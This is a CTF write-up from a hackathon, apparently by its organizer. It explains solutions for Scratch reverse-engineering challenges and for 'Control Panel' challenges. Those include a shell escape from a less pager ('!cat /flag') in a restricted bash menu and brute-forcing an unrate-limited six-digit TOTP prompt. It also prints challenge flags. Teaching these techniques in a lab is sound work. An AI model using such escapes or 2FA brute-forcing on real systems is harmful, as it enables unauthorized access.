83a9787d4cb6f3b7632b4ddfebf74367.wav
b8e28abe05429f8d31ecdc6b719ab183.png
cd9743ad5d66932419b33cb2f9e36720.svg
project.json

project.json contains all the scripts and blocks and some other important things. Here's an example of what one block looks like:

"^": {
    "opcode": "operator_mathop",
    "next": null,
    "parent": "T",
    "inputs": {
        "NUM": [
            3,
            [
                12,
                "inner",
                "$F=$H##lp_=0nFt).`g2"
            ],
            [
                4,
                ""
            ]
        ]
    },
    "fields": {
        "OPERATOR": [
            "sqrt",
            null
        ]
    },
    "shadow": true,
    "topLevel": false
},

The "shadow": true is what causes these blocks to be hidden from the editor. From this small segment, you may have noticed that the Scratch 3 file format is awful. Indeed, the format is awful for humans to read, awful for computers to read, and has horrible space efficiency. Each single block in a project easily takes a couple hundred bytes.

With the JSON in hand, you could either reverse engineer the program by hand from the blocks in the JSON, or fix the shadow property to make them not be invisible. If you do the latter, you would find the original script shown below. The condition that's cut off is just checking if your input starts with flag{.

So to pass the check, you need these conditions:

  • flag starts with flag{
  • flag ends with }
  • the square root of the content inside is 2.8384734

The flag would then have to be: flag{8.05693124250756}

Lost and found (1 solve)

I created a new Scratch account, made a new project, and immediately shared it and took this screenshot in just a few seconds. All was going well. I even hid a secret code inside.

Unfortunately, my hard drive died and I don't even remember my username. All I have is this screenshot. Can you find and recover the secret phrase for me?

Solution

The timezone is UTC-6. You can tell because the hackathon this CTF was part of was held in Minneapolis in February.

Scratch projects are assigned sequentially increasing numerical IDs based on creation date. You know that the project was created on 2026/01/26 around 9:22:21 PM (the file name reveals the seconds counter). You can binary search the Scratch API to find the ID of a project created around this:

let left = 1200000000;  // arbitrary ID I know is before
let right = 1281870192; // arbitrary ID I know is after
let offset = 0;
const targetDate = new Date('2026-01-26T21:22:21-06:00');
while (left <= right) {
    const mid = Math.floor((left + right) / 2) + offset;
    const res = await fetch(`https://api.scratch.mit.edu/projects/${mid}`);
    if (res.ok) {
        offset = 0;
        const data = await res.json();
        const created = new Date(data.history.created);
        console.log(`Project ${mid} created at ${created}`);
        const timeDiff = created - targetDate;
        if (Math.abs(timeDiff) < 5000) {
            console.log(`Project ID is around: ${mid}`);
            break;
        }
        if (created < targetDate) {
            left = mid + 1;
        } else {
            right = mid - 1;
        }
    } else {
        console.log(`Project ${mid} is not shared`);
        offset++;
    }
    await new Promise(r => setTimeout(r, 500));
}

Then, you can manually check the projects created around that one that are named "Untitled". There's not that many, so you can do that by hand.

Eventually, you'll find the project and press the green flag. Then the cat will say the flag.

Control Panel

The server is shut down, so instead I have to give you the code. The challenge unfortunately becomes way easier this way.

Control Panel (5 solves)

I found some power plant exposing some monitoring tool on the open internet. I already found the credentials admin/1234 to log in.

Unfortunately it seems like we have pretty limited access. But surely there's still some way we can break out of this. Can you find a way to read the file located at /flag?

#!/bin/bash
set -euo pipefail
PATH="$PATH:/usr/games"
read -p "Username: " username
read -p "Password: " -s password
echo
sleep 0.25
if [[ ! "$username" = "admin" ]] || [[ ! "$password" = "1234" ]]; then
    echo "Error: Unrecognized credentials"
    exit 1
fi
rm -f log.txt
echo 1 > status
python3 fake-backend.py &
trap 'jobs -p | xargs kill > /dev/null 2>&1' EXIT
echo "Welcome to the nuclear control panel v1.0" | cowsay -W 80 | lolcat
while true; do
    echo
    echo "Select the number for what you want to do:"
    echo "1) Stop backend"
    echo "2) Start backend"
    echo "3) View backend status"
    echo "4) View backend logs"
    echo "5) Disconnect"
    echo -n "> "
    read action
    if [[ "$action" = "" ]]; then
        echo "Bye"
        exit 0
    elif [[ "$action" = "1" ]]; then
        if [[ "$(cat status)" == "1" ]]; then
            echo "Stopping backend..."
            sleep 1.5
            echo 0 > status
            echo "--- SERVER STOPPED ---" >> log.txt
            echo "Done"
        else
            echo "Already stopped"
        fi
        sleep 1
    elif [[ "$action" = "2" ]]; then
        if [[ "$(cat status)" == "0" ]]; then
            echo "Starting backend..."
            sleep 1.5
            echo 1 > status
            echo "--- SERVER STARTED ---" >> log.txt
            echo "Done"
        else
            echo "Already started"
        fi
        sleep 1
    elif [[ "$action" = "3" ]]; then
        if [[ "$(cat status)" == "0" ]]; then
            echo "Server status: OFF"
            echo "# of logs: $(wc -l < log.txt)"
        else
            echo "Server status: ON"
            echo "# of logs: $(wc -l < log.txt)"
        fi
        sleep 1
    elif [[ "$action" = "4" ]]; then
        less +G log.txt
    elif [[ "$action" = "5" ]]; then
        exit 0
    else
        echo "Error: Unknown command"
    fi
done
Solution

Option 4 exposes you to a less pager. The less pager has a lot of features.

One such feature is that if you type !, you can run shell commands from within less. So you would just type this to read the flag:

admin
1234
4
!cat /flag

prints out:

flag{2d353e1b-d8bb-4c10-9bb1-30c8b59445b9}

Control Panel 2 (1 solve)

They realized something is up and put a two-factor authentication step after you enter the password.

It's weird that they didn't even bother to change the username or password. Seems they don't have any clue how to write secure software. Surely you can find a way around the 2FA?

This script now runs after password entry and must exit with code 0:

import sys
import base64
import hashlib
import hmac
import struct
import time
secret = "you wouldnt know what this is in the real event"
def totp(secret):
    tm = int(time.time() / 30)
    key = base64.b32decode(secret)
    b = struct.pack(">q", tm)
    hm = hmac.HMAC(key, b, hashlib.sha1).digest()
    offset = hm[-1] & 0x0F
    truncatedHash = hm[offset:offset + 4]
    code = struct.unpack(">L", truncatedHash)[0]
    code &= 0x7FFFFFFF
    code %= 1000000
    return code
def read_int():
    while True:
        s = input("> ")
        if len(s) != 6:
            print("Code should only be 6 digits.")
            continue
        try:
            return int(s)
        except ValueError:
            print("That's not a number.")
try:
    code = totp(secret)
    while True:
        token = read_int()
        if code == token:
            sys.exit(0)
        else:
            print("Invalid 2FA, try again.")
except KeyboardInterrupt:
    sys.exit(1)
Solution

There's no rate limit on the 2FA, so you can simply try all 1,000,000 possible codes.

for i in range(1, 1000000):
    print(f"{i:06d}")

Save the result of that into a file to generate all of them, then just paste them into the prompt and wait.

Eventually, you'll be let in and can extract the flag the same as part 1.

Conclusion

Overall, this thing was pretty fun to design and pretty fun for the players. One of the most successful parts of the hackathon.

Hoping to return in 2027.